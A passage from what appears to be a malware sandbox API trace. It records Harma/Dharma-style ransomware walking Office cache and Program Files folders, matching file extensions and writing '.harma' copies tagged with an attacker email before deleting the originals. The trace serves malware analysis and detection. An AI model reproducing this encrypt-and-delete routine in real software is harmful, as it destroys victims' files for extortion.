(lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0062.628] lstrlenW (lpString=".doc") returned 4 [0062.628] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0062.628] lstrlenW (lpString=".docx") returned 5 [0062.628] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0062.628] lstrlenW (lpString=".pdf") returned 4 [0062.628] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0062.628] lstrlenW (lpString=".xls") returned 4 [0062.628] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0062.628] lstrlenW (lpString=".xlsx") returned 5 [0062.628] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0062.628] lstrlenW (lpString=".ppt") returned 4 [0062.628] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0062.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0062.628] lstrlenW (lpString=".zip") returned 4 [0062.628] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0062.628] lstrlenW (lpString=".rar") returned 4 [0062.628] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0062.628] lstrlenW (lpString=".bz2") returned 4 [0062.628] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0062.628] lstrlenW (lpString=".7z") returned 3 [0062.628] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0062.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0062.628] lstrlenW (lpString=".dbf") returned 4 [0062.628] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0062.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0062.629] lstrlenW (lpString=".1cd") returned 4 [0062.629] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0062.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0062.629] lstrlenW (lpString=".jpg") returned 4 [0062.629] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0062.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0062.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0062.629] lstrlenW (lpString=".doc") returned 4 [0062.629] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0062.629] lstrlenW (lpString=".docx") returned 5 [0062.629] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0062.629] lstrlenW (lpString=".pdf") returned 4 [0062.629] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0062.629] lstrlenW (lpString=".xls") returned 4 [0062.629] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0062.629] lstrlenW (lpString=".xlsx") returned 5 [0062.629] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0062.629] lstrlenW (lpString=".ppt") returned 4 [0062.629] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0062.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0062.630] lstrlenW (lpString=".zip") returned 4 [0062.630] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0062.630] lstrlenW (lpString=".rar") returned 4 [0062.630] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0062.630] lstrlenW (lpString=".bz2") returned 4 [0062.630] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0062.630] lstrlenW (lpString=".7z") returned 3 [0062.630] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0062.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0062.630] lstrlenW (lpString=".dbf") returned 4 [0062.630] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0062.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0062.630] lstrlenW (lpString=".1cd") returned 4 [0062.630] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0062.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0062.630] lstrlenW (lpString=".jpg") returned 4 [0062.630] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0062.630] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0062.630] lstrlenW (lpString="PidGenX.dll") returned 11 [0062.630] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0063.020] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=1463568) returned 1 [0063.020] CloseHandle (hObject=0x208) returned 1 [0063.020] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0063.020] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0063.020] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0063.020] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0063.020] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0063.021] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0063.021] GetLastError () returned 0x0 [0063.021] ReadFile (in: hFile=0x208, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0xffff0, lpOverlapped=0x0) returned 1 [0063.049] WriteFile (in: hFile=0x218, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0063.236] ReadFile (in: hFile=0x208, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x65520, lpOverlapped=0x0) returned 1 [0063.297] WriteFile (in: hFile=0x218, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0x65530, lpOverlapped=0x0) returned 1 [0063.307] ReadFile (in: hFile=0x208, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0063.307] WriteFile (in: hFile=0x218, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xea, lpOverlapped=0x0) returned 1 [0063.307] SetEndOfFile (hFile=0x218) returned 1 [0063.308] CloseHandle (hObject=0x218) returned 1 [0063.308] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0063.308] SetEndOfFile (hFile=0x208) returned 1 [0063.312] CloseHandle (hObject=0x208) returned 1 [0063.312] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0063.312] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0063.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0063.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0063.312] lstrlenW (lpString=".doc") returned 4 [0063.312] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0063.312] lstrlenW (lpString=".docx") returned 5 [0063.312] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0063.312] lstrlenW (lpString=".pdf") returned 4 [0063.312] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0063.312] lstrlenW (lpString=".xls") returned 4 [0063.312] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0063.312] lstrlenW (lpString=".xlsx") returned 5 [0063.313] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0063.313] lstrlenW (lpString=".ppt") returned 4 [0063.313] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0063.313] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0063.313] lstrlenW (lpString=".zip") returned 4 [0063.313] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0063.313] lstrlenW (lpString=".rar") returned 4 [0063.313] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0063.313] lstrlenW (lpString=".bz2") returned 4 [0063.313] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0063.313] lstrlenW (lpString=".7z") returned 3 [0063.313] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0063.313] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0063.313] lstrlenW (lpString=".dbf") returned 4 [0063.313] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0063.313] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0063.313] lstrlenW (lpString=".1cd") returned 4 [0063.313] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0063.313] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0063.313] lstrlenW (lpString=".jpg") returned 4 [0063.313] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0063.313] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0063.313] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0063.313] lstrlenW (lpString=".doc") returned 4 [0063.313] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0063.313] lstrlenW (lpString=".docx") returned 5 [0063.313] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0063.313] lstrlenW (lpString=".pdf") returned 4 [0063.313] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0063.313] lstrlenW (lpString=".xls") returned 4 [0063.313] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0063.313] lstrlenW (lpString=".xlsx") returned 5 [0063.314] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0063.314] lstrlenW (lpString=".ppt") returned 4 [0063.314] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0063.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0063.314] lstrlenW (lpString=".zip") returned 4 [0063.314] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0063.314] lstrlenW (lpString=".rar") returned 4 [0063.314] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0063.314] lstrlenW (lpString=".bz2") returned 4 [0063.314] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0063.314] lstrlenW (lpString=".7z") returned 3 [0063.314] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0063.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0063.314] lstrlenW (lpString=".dbf") returned 4 [0063.314] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0063.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0063.314] lstrlenW (lpString=".1cd") returned 4 [0063.314] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0063.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0063.314] lstrlenW (lpString=".jpg") returned 4 [0063.314] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0063.314] lstrcmpiW (lpString1=".exe", lpString2=".harma") returned -1 [0063.314] lstrlenW (lpString="setup.exe") returned 9 [0063.314] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0064.938] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=1377656) returned 1 [0064.938] CloseHandle (hObject=0x1f4) returned 1 [0064.938] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0064.939] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.939] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0064.939] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0064.939] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0064.939] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0064.939] GetLastError () returned 0x0 [0064.939] ReadFile (in: hFile=0x1f4, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0xffff0, lpOverlapped=0x0) returned 1 [0065.007] WriteFile (in: hFile=0x1e4, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0065.030] ReadFile (in: hFile=0x1f4, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x50588, lpOverlapped=0x0) returned 1 [0065.046] WriteFile (in: hFile=0x1e4, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0x50590, lpOverlapped=0x0) returned 1 [0065.057] ReadFile (in: hFile=0x1f4, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0065.057] WriteFile (in: hFile=0x1e4, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0065.057] SetEndOfFile (hFile=0x1e4) returned 1 [0065.066] CloseHandle (hObject=0x1e4) returned 1 [0065.066] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.066] SetEndOfFile (hFile=0x1f4) returned 1 [0065.070] CloseHandle (hObject=0x1f4) returned 1 [0065.070] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0065.226] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0065.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0065.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0065.227] lstrlenW (lpString=".doc") returned 4 [0065.227] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0065.227] lstrlenW (lpString=".docx") returned 5 [0065.227] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0065.227] lstrlenW (lpString=".pdf") returned 4 [0065.227] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0065.227] lstrlenW (lpString=".xls") returned 4 [0065.227] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0065.227] lstrlenW (lpString=".xlsx") returned 5 [0065.227] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0065.227] lstrlenW (lpString=".ppt") returned 4 [0065.227] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0065.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0065.227] lstrlenW (lpString=".zip") returned 4 [0065.227] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0065.227] lstrlenW (lpString=".rar") returned 4 [0065.227] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0065.227] lstrlenW (lpString=".bz2") returned 4 [0065.227] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0065.227] lstrlenW (lpString=".7z") returned 3 [0065.227] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0065.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0065.227] lstrlenW (lpString=".dbf") returned 4 [0065.227] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0065.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0065.228] lstrlenW (lpString=".1cd") returned 4 [0065.228] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0065.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0065.228] lstrlenW (lpString=".jpg") returned 4 [0065.228] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0065.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0065.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0065.228] lstrlenW (lpString=".doc") returned 4 [0065.228] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0065.228] lstrlenW (lpString=".docx") returned 5 [0065.228] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0065.228] lstrlenW (lpString=".pdf") returned 4 [0065.228] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0065.228] lstrlenW (lpString=".xls") returned 4 [0065.228] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0065.228] lstrlenW (lpString=".xlsx") returned 5 [0065.228] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0065.228] lstrlenW (lpString=".ppt") returned 4 [0065.228] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0065.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0065.228] lstrlenW (lpString=".zip") returned 4 [0065.228] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0065.228] lstrlenW (lpString=".rar") returned 4 [0065.228] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0065.228] lstrlenW (lpString=".bz2") returned 4 [0065.228] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0065.228] lstrlenW (lpString=".7z") returned 3 [0065.228] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0065.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0065.228] lstrlenW (lpString=".dbf") returned 4 [0065.228] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0065.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0065.229] lstrlenW (lpString=".1cd") returned 4 [0065.229] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0065.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0065.229] lstrlenW (lpString=".jpg") returned 4 [0065.229] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0065.229] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0065.229] lstrlenW (lpString="EEINTL.DLL") returned 10 [0065.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.230] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=64096) returned 1 [0065.230] CloseHandle (hObject=0x208) returned 1 [0065.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0065.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.231] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.231] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0065.231] GetLastError () returned 0x0 [0065.231] ReadFile (in: hFile=0x208, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0xfa60, lpOverlapped=0x0) returned 1 [0065.234] WriteFile (in: hFile=0x15c, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xfa70, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xfa70, lpOverlapped=0x0) returned 1 [0065.237] ReadFile (in: hFile=0x208, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0065.237] WriteFile (in: hFile=0x15c, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, 